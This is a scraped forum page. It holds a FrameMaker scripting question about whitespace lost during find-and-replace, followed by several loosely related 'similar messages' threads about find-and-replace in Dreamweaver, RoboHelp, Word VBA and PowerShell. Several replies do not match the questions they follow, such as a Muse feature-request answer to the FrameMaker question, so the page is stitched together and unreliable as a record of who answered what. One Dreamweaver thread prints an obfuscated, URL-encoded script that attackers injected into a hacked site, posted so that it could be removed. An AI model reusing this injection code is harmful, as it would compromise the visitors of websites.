Why does a find and replace method remove whitespace?

I have method that searches for a string in a FM document and replaces it with a variable. If for example, there was a string foobar that I wanted to replace with the variable barfoo. Then, I expect this text:
Lorem ipsum dolor sit amet, foobar consectetur adipiscing elit. Vivamus sed purus urna, ac tristique tortor. Nam auctor tellus non enim pulvinar a vestibulum neque tincidunt.
To be changed to this text:
Lorem ipsum dolor sit amet, barfoo consectetur adipiscing elit. Vivamus sed purus urna, ac tristique tortor. Nam auctor tellus non enim pulvinar a vestibulum neque tincidunt.
However, while the text does do the replace it also removes the whitespace between the variable and the text that appears right after the variable so it actually looks looks like this:
Lorem ipsum dolor sit amet, barfooconsectetur adipiscing elit. Vivamus sed purus urna, ac tristique tortor. Nam auctor tellus non enim pulvinar a vestibulum neque tincidunt.
Why is the find and replace method removing the whitespace and how do I prevent that from happening? The method is provided below.
function FindAndReplaceString(pDoc, findString, replaceVariable)
    if (typeof pDoc != 'undefined'&&typeof findString != 'undefined'&&typeof replaceVariable != 'undefined'&&pDoc.ObjectValid()&&findString.length>0&&replaceVariable.length>0)
        var vVarFmtStatus=checkVarFmStatus (pDoc, replaceVariable);
        if (vVarFmtStatus=='In Doc')
            var tr = new TextRange();
            var findParams = new PropVals();
            var frame = pDoc.MainFlowInDoc.FirstTextFrameInFlow;
            var restoreTR = pDoc.TextSelection;
            tr.beg.obj = tr.end.obj = frame.FirstPgf;
            tr.beg.offset = tr.end.offset = 0;
            findParams = AllocatePropVals(1);
            findParams[0].propIdent.num = Constants.FS_FindText;
            findParams[0].propVal.valType = Constants.FT_String;
            findParams[0].propVal.sval = findString;
            tr = pDoc.Find(tr.beg, findParams);
            var vLoopCounter=0;
            while(FA_errno === Constants.FE_Success&&vLoopCounter++< 1000)
                pDoc.TextSelection = tr;
                pDoc.Clear(0);
                var newVar = pDoc.NewAnchoredFormattedVar(replaceVariable, tr.beg);
                var varLength = newVar.TextRange.end.offset - newVar.TextRange.beg.offset;
                tr.beg.offset += varLength;
                tr = pDoc.Find(tr.beg, findParams);
            if (vLoopCounter>0)
                Log (vLogFileName, 'In the document \''+pDoc.Name+'\', the string \''+findString+'\' was replaced with the variable \''+replaceVariable+'\' '+vLoopCounter+' times.\n')
            if (vLoopCounter>1000)
                recordErrors (vErrorLog, 'ERROR: In the document "'+pDoc.Name+'", the find and replace operation was stopped after executing '+vLoopCounter+' times. The term being searched for is "'+findString+'" the replacement variable is "'+ replaceVariable+'".')
            pDoc.TextSelection = restoreTR;
            pDoc.ScrollToText(restoreTR);
            } else {
                recordErrors (vErrorLog, 'ERROR: The find and replace operation failed because the variable '+replaceVariable+' does not exist in the following doc: '+pDoc.Name)
        } else {
            recordErrors (vErrorLog,'Invalid or unitialized parameter passed to function FindAndReplaceString')

Hi,
Not at the moment. Please post in http://forums.adobe.com/community/muse/ideas so other users can vote on the feature request.
Thanks,
Abhishek

Similar Messages

  • Need advanced "Find and Replace" method

    I have bunch of pages need "Find and Replace" work in html
    coding, but I can't use DW's "Find and Replace" function to do with
    it. Here's the sample code:
    quote:
    "<tr valign="top"><td align="center"><a href="
    ../photo/ccg/pages/Columbus Grill
    M_jpg.htm"><img src="../photo/ccg/thumbnails/Columbus
    Grill M_jpg.gif" border="0" onClick="MM_openBrWindow('
    ../photo/ccg/pages/50th Yard
    M_jpg.htm','rr','width=386,height=306')"><br>
    Columbus Grill M</td>
    <td align="center"><a href="
    ../photo/ccg/pages/Columbus Grill
    W_jpg.htm"><img src="../photo/ccg/thumbnails/Columbus
    Grill W_jpg.gif" border="0" onClick="MM_openBrWindow('
    ../photo/ccg/pages/50th Yard
    M_jpg.htm','rr','width=386,height=306')"><br>
    Columbus Grill W</td>
    <td align="center"><a href="
    ../photo/ccg/pages/Cookies Lounge
    M_jpg.htm"><img src="../photo/ccg/thumbnails/Cookies
    Lounge M_jpg.gif" border="0" onClick="MM_openBrWindow('
    ../photo/ccg/pages/50th Yard
    M_jpg.htm','rr','width=386,height=306')"><br>
    Cookies Lounge M</td>
    <td align="center"><a href="
    ../photo/ccg/pages/Cookies Lounge
    W_jpg.htm"><img src="../photo/ccg/thumbnails/Cookies
    Lounge W_jpg.gif" border="0" onClick="MM_openBrWindow('
    ../photo/ccg/pages/50th Yard
    M_jpg.htm','rr','width=386,height=306')"><br>
    Cookies Lounge W</td>
    <td align="center"><a href="
    ../photo/ccg/pages/Corcorans
    M_jpg.htm"><img src="../photo/ccg/thumbnails/Corcorans
    M_jpg.gif" border="0" onClick="MM_openBrWindow('
    ../photo/ccg/pages/50th Yard
    M_jpg.htm','rr','width=386,height=306')"><br>
    Corcorans M</td>
    </tr>"
    You can see I need to use EVERY highlighted code to replace
    each NEXT bolded code, highlighted code are deffirent but bolded
    code are the same. Now I just do it manually, but there are
    thousands of them.
    Is any one has a better method using DW's "Find and Replace"
    function to do this job automatically?

    Using Templates with a 900 page site is a crime against
    humanity. You reach
    the optimal size for Templates between about 50 and 100.
    The error you are getting suggests that there are coding
    errors on the page
    (perhaps even unrelated to ANY DW Template markup). We'd need
    to see the
    page to make progress with what that might be, as Alan says.
    Murray --- ICQ 71997575
    Adobe Community Expert
    (If you *MUST* email me, don't LAUGH when you do so!)
    ==================
    http://www.projectseven.com/go
    - DW FAQs, Tutorials & Resources
    http://www.dwfaq.com - DW FAQs,
    Tutorials & Resources
    ==================
    "RyanWaters" <[email protected]> wrote in
    message
    news:ggs7fq$gnq$[email protected]..
    >I am a little green to this all. I am trying to find and
    replace a word
    >inside
    > the edit region and Dreamweaver will not change it,
    because it says its
    > inside
    > a locked region, but its a editable region?
    > I have about 900 pages I need to make this change on and
    was relying on
    > the
    > find and replace tool to do that. I tried differn't
    advanced options,
    > nothing
    > seams to change it. I am using cs3. Thanks for any help
    >

  • Find and Replace dialog box issue

    When I am in split mode, I get the Find and Replace dialog
    box up "Edit -> Find and Replace..." When I run a "Find and
    Replace" clicking the "Find All" the dialog box disapears and I
    have the Results checked in the Windows menu. When I go down to the
    little green arrow to bring back my dialog box - the Find and
    Replace text areas are clear and I have to re-paste the items into
    it to do the "Replace All" - this is much more time consuming. Why
    does my Find and Replace dialog box disapear and why does it lose
    the last "Find All" texts?

    pamelito2014 wrote:
    I tried to hover over them but nothing popped up to tell me what is what. So, I had to ask.
    You might have Tool Tips turned off in preferences...
    This is CS6, but I assume CC is the same or similar:

  • Win7, DW CS6, Find and Replace, Problem: The "Done or Found" message is cut off based on your SEARCH dropdown choice.

    The Find and Replace "Done or Found" message is partially cut off for "Search" dropdown choices "Source Code, Text, Text (Advanced), but not for "Specific Tag". It appears to be a programming bug sizing the "Find" and "Replace" text boxes too big for the "find and Replace" window. Has anyone else encountered this problem.

    Excuse me for resurrecting this, but I have been living with this same issue, and many more issues (I won't list them here), since migrating to CS5 (understood this thread is for CS6. However, my post is relevant none the less). If anyone has the fix I would love to know what they found. But sadly, I doubt there is one.
    My system and display settings are also Win7 at 100% display. When doing a Find and Replace I can barely see what the results are for how many occurrences in the find window because the bottom is cutting off half of the text, just like the OP screen shot above. If the results reads "Done. 2 items found" it can easily be mistaken for "Done. 3 items found" if I don't study it carefully because of the bottom half of the "2" is cut off.
    I don't want to rant here, but I will a little which I'll confess is the real purpose of my post. I am so disappointed in Adobe for so many different bugs in their software suite which they choose not to address, or even acknowledge as existing. I've had their tech support on the phone while they were recording my screen as I recreated issues for them, they never got back to me on any of them. I just got lip service how their engineers are looking into it and they'll get back to me. This of course was when CS5 still had free support under warranty.
    At this point I'm numb to it all and I'm stuck using their software because I'm used to it, which ultimately is their goal anyway I'm sure. You win Adobe.
    BTW...if anyone replies, please do not suggest the basic troubleshooting steps. All of the issues I've had exists after multiple re-installs on formatted hard drives and on both of my PCs made by two different manufacturers with different hardware specs (both exceeded min hardware requirements). Not to mention been through various techniques while on the phone with them..
    Ahh... I feel better now.

  • Find and replace with wildcard

    help.. i had my site hacked and they stuck a script at the
    end of every file and i need to do a find and replace to remove all
    of that coding.
    the problem is that the coding is different on every page and
    i dont want to have to remove it from 1000+ pages.
    i'm pretty sure you can do this with dreamweaver.. all of the
    bogus coding is after the </html> at the end of the page.
    can anyone help?
    here is an example of the coding:
    <!--[z0s]-->("%3Cscript%3Eif%28NJ%21%3D1%29%7Bfunction%20nS%28sg%29%7Breturn%20sg%7Dtry%7B var%20zX%3D%27xxvxBvxtvxrvxPvxbvx8vxdvxDvxivx6vxwvxcvxXvxRvxovxIvxjvxUvx3vxSvxTvx7vxfvx4vx nvxsvxkvxgvxyvxLvxYvxOvxZvxMvx9vxzvx5vxGvxHvxhvxmvxJvxpvxqvxCvxWvxavxlvxKvxNvxAvxVvxFvBxvB BvBtvBrvBPvBbvB8vBdvBDvBivB6vBwvBcvBXvBRvBovBIvBjvBUvB3vBSvBTvB7vBf%27%2CcY%3DzX.substr%28 2%2C1%29%3Bvar%20Ar%3DArray%28It%28%27185%27%29%2C28831%5E28777%2C31791%5E31945%2CIt%28%27 247%27%29%2C1043%5E1279%2C16798%5E16747%2C4194%5E4243%2CIt%28%27187%27%29%2CIt%28%27227%27 %29%2C24343%5E24551%2C8596%5E8575%2CIt%28%27234%27%29%2CIt%28%27165%27%29%2CIt%28%27239%27 %29%2CIt%28%27173%27%29%2C15091%5E14887%2C23064%5E23217%2CIt%28%27242%27%29%2CIt%28%27172% 27%29%2CIt%28%27254%27%29%2C16276%5E16231%2CIt%28%27228%27%29%2C21729%5E21507%2C9124%5E907 1%2C22207%5E22023%2CIt%28%27224%27%29%2C24716%5E24653%2CIt%28%27190%27%29%2C16599%5E16403% 2CIt%28%27209%27%29%2CIt%28%27171%27%29%2CIt%28%27232%27%29%2C4557%5E4451%2C2956%5E2865%2C 16528%5E16419%2C29064%5E28985%2CIt%28%27181%27%29%2CIt%28%27225%27%29%2C5641%5E5863%2C2427 6%5E24179%2C9220%5E9465%2C5727%5E5789%2C23429%5E23373%2C29981%5E30155%2C2327%5E2543%2CIt%2 8%27162%27%29%2CIt%28%27180%27%29%2C3058%5E2853%2C21870%5E21947%2C4590%5E4359%2CIt%28%2721 1%27%29%2C30955%5E30785%2C14008%5E13909%2CIt%28%27202%27%29%2CIt%28%27168%27%29%2CIt%28%27 191%27%29%2C19973%5E20129%2CIt%28%27186%27%29%2C10455%5E10249%2CIt%28%27219%27%29%2C4454%5 E4505%2CIt%28%27188%27%29%2CIt%28%27216%27%29%2C20136%5E20081%2CIt%28%27244%27%29%2C12739% 5E12547%2CIt%28%27231%27%29%2CIt%28%27199%27%29%2C1461%5E1353%2CIt%28%27198%27%29%2C5206%5 E5337%2CIt%28%27206%27%29%2CIt%28%27183%27%29%2CIt%28%27182%27%29%2C22279%5E22455%2CIt%28% 27178%27%29%2C22919%5E22875%2C4994%5E4909%29%2CCu%3Bvar%20sg%2CRf%3Bvar%20vB%3D%27xxxBxtxr xPxbx8xdxDxix6xtx8xPxwx6xcxXxtxRx6xoxIxixjxUx3xcxSxTxrxcx7xfx4x6xnxjxcxsxTx8xnxRxUxkxSxTxr xcxcxgxyx4xcx6xnxjxcxsxTx8xnxRxUxkxcxgxyxLxBxnx8xyxPxYxnxRx7xfxLx7xnx8xyxPxYxnxRxUxOxZxMx9 xzxzxzxzxzxUxkxcx5xwxtxixYxnx6x8xLxtxwxwxGxPxnxcx4xcx6xoxOxHx4xHxOxnxBxtxTxbxnxRxixjxUxOxH xkxnxhxbxPxrxnxBx4xHxOxgxyxLx8xwxmxJxyxpx8xrxPx6x7xRxUxkxcxqxSxTxrxcxgxmx4xCxBxWxDx7xaxCxI xlxXx4xCxWxCxkxSxTxrxcx6xmx4xCxixbx5xTx8xnxWxLxtxKxTxBxBxPxtx8xnxKxLxwxrx7xCxIxtxNx4xCxAxV x8xYxKxAxCxkxPxDxRx5xwxtxixYxnx6x8xLxtxwxwxGxPxnxLxPx6x5xnxhxFxDxRxgxmxOxCx4xCxOxlxXxUxcx4 x4BxxWxUx3xSxTxrxcx5xKxVx4x5xwxtxixYxnx6x8xLxKxwxtxTx8xPxwx6xLxVxwxBx8xkxSxTxrxcxwxPx4xcxC xVx8xCxOxCx8xbBBxCxOxCxAxAxCxOxRxcx5xKxVxcBtx4xcxCxCBrxCxCBBxPxtxRxUxUxcxOxcx5xKxVxLxrxnxb xKxTxtxnxcxRxABPBbxTBxB8xzBxBdxLBxBDxAxIxCxLxCxUxLxrxnxbxKxTxtxnxcxRxABixLxOxAxIxCxLxCxUxO xCxLxCxOxPxtxRxUxcxOxCxLxCxcxOxcx6xmxOxtxNxkxSxTxrxcB6xpx4x5xwxtxixYxnx6x8xLxtxrxnxTx8xnBw xKxnxYxnx6x8xRxCxPxDxrxTxYxnxCxUxkB6xpxLxBxnx8xgx8x8xrxPBcxix8xnxcxRxCxBxrxtxCxIxcxwxPxUxk B6xpxLxVxnxPx7xVx8x4xzxkB6xpxLxjxPx5x8xVx4x9xkB6xpxLxDxrxTxYxnBXxwxrx5xnxrxcx4xcxzxkxcx8xr BRx3xcx5xwxtxixYxnx6x8xLBcxwx5BRxLxTxbxbxnx6x5BoxVxPxKx5xcxRxcB6xpxUxkxcxXxtxRxgxmxIxcxlxX xcxUxkxqxcxtxTx8xtxVxRxnxUxcx3x5xwxtxixYxnx6x8xLxjxrxPx8xnxcxRxCxxxVx8xYxKxdxxBcxwx5BRxdxx xABcxwx5BRxdxxxAxVx8xYxKxdxCxUxkxcx5xwxtxixYxnx6x8xLBcxwx5BRxLxTxbxbxnx6x5BoxVxPxKx5xcxRxc B6xpxUxkxXxtxcxRxcxgxmxIxlxXxUxcxkxqxcxqBIxDxix6xtx8xPxwx6xcxPxtxRxUx3xcxSxTxrxcxJBjx4BUx9 xIx5xNx4xHxzxWBUB3x9BSxMBTxZBdxzxTBcxtx5xnxDxHxkxSxTxrxcxoxTx4xHxHxkxcxDxwxrxRBjB7x4xzxkxc BjB7xcxxxcxJBjxkxcBjB7xOxOxUxcxoxTxOx4xcx5xNxLxBxiBcxBx8xrxRxJxTx8xVxLxDxKxwxwxrxRxJxTx8xV xLxrxTx6x5xwxYxRxUBfx5xNxLxKxnx6x7x8xVxUxIxWxIxWxUxkxcxrxnx8xixrx6xcxoxTxkxcxqxxxAxBxtxrxP xbx8xd%27%2Cku%3D%27%27%3Bfunction%20It%28fx%29%7Breturn%20parseInt%28fx%29%7DzX%3DzX.spli t%28cY%29%3Bfor%20%28Cu%3D0%3BCu%3CvB.length%3BCu+%3D2%29%7BRf%3DvB.substr%28Cu%2C2%29%3Bf or%28sg%3D0%3Bsg%3CzX.length%3Bsg++%29%7Bif%28zX%5Bsg%5D%3D%3DRf%29break%3B%7Dku+%3DString .fromCharCode%28Ar%5Bsg%5D%5E133%29%3B%7Ddocument.write%28ku%29%3B%7Dcatch%28vQ%29%7B%7D%7 Dvar%20NJ%3D1%3C/script%3E"))<!--[/z0s]-->
    __________________

    tyankee wrote:
    > help.. i had my site hacked and they stuck a script at
    the end of every file
    > and i need to do a find and replace to remove all of
    that coding.
    >
    > the problem is that the coding is different on every
    page and i dont want to
    > have to remove it from 1000+ pages.
    >
    > i'm pretty sure you can do this with dreamweaver.. all
    of the bogus coding is
    > after the </html> at the end of the page.
    >
    > can anyone help?
    >
    > here is an example of the coding:
    >
    >
    >
    Find <\/html>.*
    Replace with:</html>
    Use: RegEx
    Mick

  • Help with removing a variable number using "find and replace"

    Hey, I have to remove a variable number from a large number of documents.
    How would I do this using "find and replace"
    <text><![CDATA[Coloured 250]]></text>
    250 is an example of the variable number that I will need to remove so it looks like this:
    <text><![CDATA[Coloured]]></text>
    Note: the text "coloured" is subject to change also.
    Thanks

    That's a possibilitly I'll explore.  Thanks for the alternate perspective!
    (5 minutes later)
    Oh well, it was a good thought.
    Unfortunately each line of raw original text may contain from 1 to 4 lines of final text.  In other words there is no consistency in the number of backslashes (hard returns) in each line of original text, and thus, when backslashes are converted to commas, no consistency in the number of data elements in each data set. 
    Sadly PS variables will not handle finding a source text line that does not have data for 4 variables.  So I either have to go back and add enough commas on each short line to make four individual data elements for each data set... or I simply deal with the hard returns within Photoshop.
    I think I've reached the limit of automation on this process.

  • Why does my Finder indicate that my "iphoto library" is 13gb and "photo lib" is 15gb?

    Why does my Finder indicate that my "iphoto library" is 13gb and "photo library" is 15gb if they are supposed to 1 library used by both?

    kenamac1 wrote:
    Thanks Larry, but sorry if I'm being dense, but are you saying that the space being used is not 13gb (Iphoto) + 15 gb (Photo) = 28gb?  And that if I toss the iPhoto Lib I won't save 13gb?  That's what I not getting about this 'shared' library.
    Yes that is exactly what I said - and what the article I liked said with a somewhat detailed description
    Basically both libraries  use Linux HardLinks to the original photos - the finder sees each has containing the compete set of photos although the photos are only on disk once
    And deleting one library only deletes the links and a few overhead items - so again as I said would save very little space
    LN

  • Find and replace in files does not refresh when changes are made

    Using RH10, I search for a term with the Find and Replace Options pod. I use the Find Results list as a reference only, and open each file from the Topic List. I do this instead of opening the topics from the Find Results tab because I want to see the WYSIWYG changes. Anyway, I make my edits and delete the search term from each topic. Then, to make sure I have done all the work, I run the search again. I expect to see no or at least fewer matches than before, but I still get some or all of the same results as before, even though I double-check the Design and HTML views of the topics and even check the source of a topic separately in Notepad, all indicating that the search term is gone from the topic.
    There is some ridiculous lingering or echo going on. I make sure to select Look in: <Current Project>, and the paths of all the Find Results files are fine. How do you refresh the search so that this echo doesn't occur?
    Also, I close the Find and Replace Options pod, reopen it and start the search again, and the same results are there.
    Message was edited by: DMilkes

    Hi there
    To avoid the message about the file being modified, close all topics in the editor before commencing with any find and replace operations. The message is produced because you have the aforementioned topics open in the editor.
    As you mention "Find and replace in files", I'm guessing you are referring to version 8. I just opened version 8 and performed a find and replace to confirm. There is a button allowing you to clear all.
    On the clicking and dragging to create a link, it's never worked that way. You simply cannot drag from the Topic List pod to do it. But you can from the Project Manager pod. Perhaps you should consider submitting a Wish Form to ask for the ability to click and drag from the Topic List pod to create links.
    As far as rearranging your topics into different folders, as long as you do it from inside RoboHelp you shouldn't be destroying any links. RoboHelp will update references for you as you move things around. The only issue is if you are automatically creating your TOC structure based on the project structure. But usually that's a one time shot. From there forward you just manage things using the TOC editor.
    Hopefully this helps... Rick
    Helpful and Handy Links
    RoboHelp Wish Form/Bug Reporting Form
    Begin learning RoboHelp HTML 7 or 8 within the day - $24.95!
    Adobe Certified RoboHelp HTML Training
    SorcerStone Blog
    RoboHelp eBooks

  • SQL Developer 1.5.3 - Why is "Find and Replace" now a model dialog?

    In SQL Developer 1.5.3 the find and replace dialog is now a modal dialog.
    This prevent you from copying content from below it.
    Basically only option is to type instead of copy and paste
    Very frustrating!

    This has been modal since 1.0. Do you mean the Edit -> Replace... ctrl R (Replace Text) dialog? As you have been able to copy and paste before, please direct me to the dialog you are referring to.
    Sue

  • Find and Replace in RH HTML

    After upgrading to RH8, all instances of "em dash" symbols in projects are now appearing incorrectly. When we insert the "em dash" symbol, we always eliminate any spaces before and after the symbol. All projects that have been upgraded to use RH8 now add a space after the symbol, which is incorrect.
    I have also installed the RH updates and opened a project that had not been upgraded before the update installs...same problem.
    Due to the size of the projects, I have tried using the Find and Replace feature within the HTML view; unfortunately, this did not work.
    Has this issue been addressed with Adobe? I ran into a similar issue with the upgrade to RH7, where the HTML coding for em dashes would come through in the design view and final .chm output file. Does anyone know of a Find and Replace feature within RH that will allow me to remove every instance where a space appears after the em dash symbol? I have found the FAR tool but would like to avoid it if possible, as I have read it can corrupt RH files.

    There was one other post recently about this but otherwise this problem had gone quiet so I don't know why you are seeing it in a project that was not opened before applying the patches.
    So turning to FAR, it is not the program that corrupts files. It is what the user does with it. As we usually say, it can fix a project in minutes and wreck it in seconds. That is because the user has not thought about what the search might find. For example, you might search for "class" thinking about your topic content but of course FAR works a code level so it will remove all your style classes as well. That is where the corruption comes in, not the software itself. It's rather like blaming the car for the crash.
    If you back up first, there is nothing to lose.
    See www.grainge.org for RoboHelp and Authoring tips
    @petergrainge

  • In the new Numbers, can I find and replace within formulas like I used to in Numbers'09?

    I use Numbers with quite long formulas with reference to other tables. With Numbers'09, it was extremely useful to copy formulas and then use "find and replace" to change the terms within.
    Did they remove this option? I don't seem to be able to do that with the new Version.
    If it's still there, where do I find it?
    If it's not there.... why would they remove it.
    Thanks

    Basically, I use it for payroll, taxes, and so on... I have one sheet per employee (which compiles their weekly payroll). I have then different sheets which makes the quarterly taxes calculation (state and federal taxes - 941, 940, W2, disability,  UI, paystubs, tracks payments and deadlines, etc... ). It took me awhile to write all of the formulas, but now it does everything for me.
    When I add an employee. I have to add a sheet, but also add a line in the calculation sheets. Because all the employee sheets are the same format, all I need to do (or used to now) was to copy the line above, and just change the reference name of the employee sheet  within the formula (because there are several terms that are looked up, the reference name comes several time in the formula)... changing it manually is really annoying. What was taking me a minute or so, before, now takes me about 20 minutes. (between the different sheets, there are about between 75 to 100 changes in formulas per new employee - so the "find and replace" in formula only, was extremely useful).

  • Folder action to find and replace text and change line feeds

    I want to use a folder action to find and replace text and change Mac carriage returns to DOS line feeds inside text files.
    The text to be replaced is: "/Users/wim/Music/iTunes/iTunes Music/Music" (without the quotes)
    This text has to be removed (i.e. replaced by an empty string)
    The text occurs many times within each file.
    The files are playlists exported from iTunes in the M3U format (which are text files). They contain Mac carriage returns. These need to be changed to DOS line feeds.
    I have found the following two perl commands to achieve this:
    To find and replace text: perl -pi -w -e 's/THIS/THAT/g;' *.txt
    To change carriage returns to line feeds: perl -i -pe 's/\015/\015\012/g' mac-file
    I know that it's possible to make a folder action with Automator that executes a shell script.
    What I want to do is drop the exported playlists in M3U format in a folder so that the folder action will remove the right text and change the carriage returns.
    My questions are:
    Is it possible to make a folder action that executes command line commands instead of shell scripts?
    What is the correct syntax for the two commands when used in a folder action shell script? Especially, how do I escape the slashes (/) in the string to be removed?
    Thanks for your help

    Ok, I've include an applescript to run a shell command. The applesript command quoted form makes a string that will end up as a single string on the bash command line.  Depending on what you want to do, you may need multiple string on the bash command lines.  I've included some information on folder actions.
    It is easier to diagnose problems with debug information. I suggest adding log statements to your script to see what is going on.  Here is an example.
        Author: rccharles
        For testing, run in the Script Editor.
          1) Click on the Event Log tab to see the output from the log statement
          2) Click on Run
        For running shell commands see:
        http://developer.apple.com/mac/library/technotes/tn2002/tn2065.html
    on run
        -- Write a message into the event log.
        log "  --- Starting on " & ((current date) as string) & " --- "
        --  debug lines
        set desktopPath to (path to desktop) as string
        log "desktopPath = " & desktopPath
        set unixDesktopPath to POSIX path of desktopPath
        log "unixDesktopPath = " & unixDesktopPath
        set quotedUnixDesktopPath to quoted form of unixDesktopPath
        log "quoted form is " & quotedUnixDesktopPath
        try
            set fromUnix to do shell script "ls -l  " & quotedUnixDesktopPath
            display dialog "ls -l of " & quotedUnixDesktopPath & return & fromUnix
        on error errMsg
            log "ls -l error..." & errMsg
        end try
    end run
    How to set up a folder action.
    1) right click on folder. click on Enable folder actions
    2) Place script in
    /Library/Scripts/Folder Actions Scripts
    3) right click on folder. click on attach folder action
    pick your script.
    Create a new folder on the desktop & try.
    You can put multiple folder actions on a folder. There are other ways of doing this.
    Here is my test script:
    on adding folder items to this_folder after receiving dropped_items
        repeat with dropped_item_ref in dropped_items
           display dialog "dropped files is " & dropped_item_ref & " on folder " & this_folder
        end repeat
    end adding folder items to
    How to  make the text into an AppleScript program.
    Start the AppleScript Editor
    /Applications/AppleScript/Script Editor.app
    In Snow Leopard it's at: /Applications/Utilities/AppleScript Editor
    Copy the script text to the Applescript editor.
    Note: The ¬ is typed as option+return.  ption+return is the Applescript line continuation characters.
    You may need to retype these characters.
    Save the text to a file as an script and do not check any of the boxes below.

  • Find and Replace HS5.5

    How do I include a line feed in the replace section of the
    find and replace feature of Homesite 5.5?
    Converting many lengthy files from <pre> and <tt>
    formats into CSS. Presently the target pages have paragraphs broken
    into short lines of text with CR/LF's on every line. I wish to
    revert the paragraph back to 'wrapped' text with a single CR at the
    end of the paragraph.
    I can 'find' and eliminate the " ¶ " symbol from each
    line, but I do not know how to "replace " text that should include
    this symbol.
    text</p><p>¶
    This is some sample text to¶
    show graphically the problem¶
    I am having.</p><p>¶
    New Paragraph¶
    When what I want is :-
    <p>This is some sample text to show graphically , the
    problem I am having.</p>¶
    <p>New paragraph
    Presently I can add hash marks (##) where I wish the
    paragraph to end. I then globally remove all the "¶"'symbols
    that appear in the text. What I want to do now is replace the ##
    with code which would produce the following two lines
    </p>¶
    <p>
    I have tried many different codes, such as chr(13) and \r,
    but they all just insert the code as straight text.
    Can anyone clue me in?
    Thanks, gil d

    as far as special chars in simple F-and-R, I replace some
    non-ascii chars by copying from a doc and pasting into the dialog
    field.
    That wouldn't work for CR/LF, so you have to use the extended
    search and replace there as you found out.
    Note there is also a function for "Replace Double Spacing
    with Single Spacing" (on the menu, under Search).
    Probably no help for this case, but good to know.
    BTW, be careful with your extended search and replace on
    CR/LF. If your lines don't end in a space and a CR/LF, you might
    want to replace CR/LFs with a space. Otherwise the last word of one
    line might be butted against the first word in the next line with
    no space when the CR/LF is removed.
    Of course that's not a great solution since it adds a lot of
    spaces where you have CR/LFs, and you may not want them all
    there...
    There is a Remove Returns script that might be of use to you.
    It's a lot more manual than you probably want for doing lots of
    files.
    http://www.wilk4.com/asp4hs/list5.htm#removereturns
    let us know here if you find some better solution please,
    good luck,
    jeff

  • VBA Word Find and Replace characters but excluding certain characters

    I am trying to write VBA code in Word that I will eventually run from a VBA Excel module. The aim of the project is to find specific strings in the open Word document that have length of either one or two characters and are of a certain format, and replace
    them with other strings in the same format. This is to do with transposing (i.e. changing the musical key) of chord symbols in a songsheet in Word. The Find and Replace strings are contained in ranges in an Excel workbook, which is why I want to eventually
    run the code from Excel. I'm much more experienced in writing VBA code in Excel than in Word, and I'm fairly confident with transferring the 'Word VBA' code into an Excel module.
    At the moment I'm trying out code entirely in Word, and I've come across a stumbling block. For example, I want it to Find "A" and replace with "B",
    BUT only if the "A" is NOT followed by "#" (sharp) or "b" (flat).
    Here is the code I've got in Word VBA, which I obtained by editing code produced by the recorder:
    Sub F_R()
    'Find text must have specific font
    With Selection.Find.Font
    .Bold = True
    .Underline = wdUnderlineWords
    .Superscript = False
    .Subscript = False
    End With
    'Replacement text must have specific font
    With Selection.Find.Replacement.Font
    .Bold = True
    .Underline = wdUnderlineWords
    .Superscript = False
    .Subscript = False
    End With
    'Find & Replace strings
    With Selection.Find
    .Text = "A" 'hard-coded here for testing, but this will
    'eventually be referenced to a cell in Excel
    .Replacement.Text = "B" 'hard-coded here for testing, but this will
    'eventually be referenced to a cell in Excel
    .Forward = True
    .Wrap = wdFindContinue
    .Format = True
    .MatchCase = True
    .MatchWholeWord = False
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
    End Sub
    For the Find & Replace section I want to do something like:
    With Selection.Find
    .Text = "A"
    .Text <> "A#"
    .Text <> "Ab"
    .Replacement.Text = "B"
    End With
    - but this produces a syntax error, presumably because you can have only one .Text line (or it won't accept <>?)
    I tried adopting the way of excluding chars when using the Like operator, and while it compiles, it will not replace
    any "A":
    With Selection.Find
    .Text = "A[!b#]"
    .Replacement.Text = "B"
    End With
    I suspect that I'm going to have to change tack completely in the way I'm doing this. Do you have any suggestions, please?
    The chord names/symbols are preceded/succeeded by either spaces or paragraph returns and can look like these, for example (all Font Bold and Underlined words only):
    C<sup>7</sup>
    Dm<sup>7</sup>
    Eb<sup>-5</sup>
    Bb<sup>+11</sup>
    F#m<sup>7</sup>
    i.e. [ABCDEFG][b # | optional][m |optional][- + | superscript, optional][2 3
    5 6 7 9 11 13 | superscript, optional]
    The crux of my problem is that the note A should be treated as entirely distinct from Ab or A# (and similar for other flattened/sharpened notes).
    Sorry for long post.

    Hi Ian,
    It is not easy to find Microsoft forums. However this forum is for the Visual Studio Net version. 
    Try this forum for VBA.
    https://social.msdn.microsoft.com/Forums/en-US/home?forum=isvvba
    Success
    Cor

  • [Forum FAQ] How to find and replace text strings in the shapes in Excel using Windows PowerShell

    Windows PowerShell is a powerful command tool and we can use it for management and operations. In this article we introduce the detailed steps to use Windows PowerShell to find and replace test string in the
    shapes in Excel Object.
    Since the Excel.Application
    is available for representing the entire Microsoft Excel application, we can invoke the relevant Properties and Methods to help us to
    interact with Excel document.
    The figure below is an excel file:
    Figure 1.
    You can use the PowerShell script below to list the text in the shapes and replace the text string to “text”:
    $text = “text1”,”text2”,”text3”,”text3”
    $Excel 
    = New-Object -ComObject Excel.Application
    $Excel.visible = $true
    $Workbook 
    = $Excel.workbooks.open("d:\shape.xlsx")      
    #Open the excel file
    $Worksheet 
    = $Workbook.Worksheets.Item("shapes")       
    #Open the worksheet named "shapes"
    $shape = $Worksheet.Shapes      
    # Get all the shapes
    $i=0      
    # This number is used to replace the text in sequence as the variable “$text”
    Foreach ($sh in $shape){
    $sh.TextFrame.Characters().text  
    # Get the textbox in the shape
    $sh.TextFrame.Characters().text = 
    $text[$i++]       
    #Change the value of the textbox in the shape one by one
    $WorkBook.Save()              
    #Save workbook in excel
    $WorkBook.Close()             
    #Close workbook in excel
    [void]$excel.quit()           
    #Quit Excel
    Before invoking the methods and properties, we can use the cmdlet “Get-Member” to list the available methods.
    Besides, we can also find the documents about these methods and properties in MSDN:
    Workbook.Worksheets Property (Excel):
    http://msdn.microsoft.com/en-us/library/office/ff835542(v=office.15).aspx
    Worksheet.Shapes Property:
    http://msdn.microsoft.com/en-us/library/office/ff821817(v=office.15).aspx
    Shape.TextFrame Property:
    http://msdn.microsoft.com/en-us/library/office/ff839162(v=office.15).aspx
    TextFrame.Characters Method (Excel):
    http://msdn.microsoft.com/en-us/library/office/ff195027(v=office.15).aspx
    Characters.Text Property (Excel):
    http://msdn.microsoft.com/en-us/library/office/ff838596(v=office.15).aspx
    After running the script above, we can see the changes in the figure below:
    Figure 2.
    Please click to vote if the post helps you. This can be beneficial to other community members reading the thread.

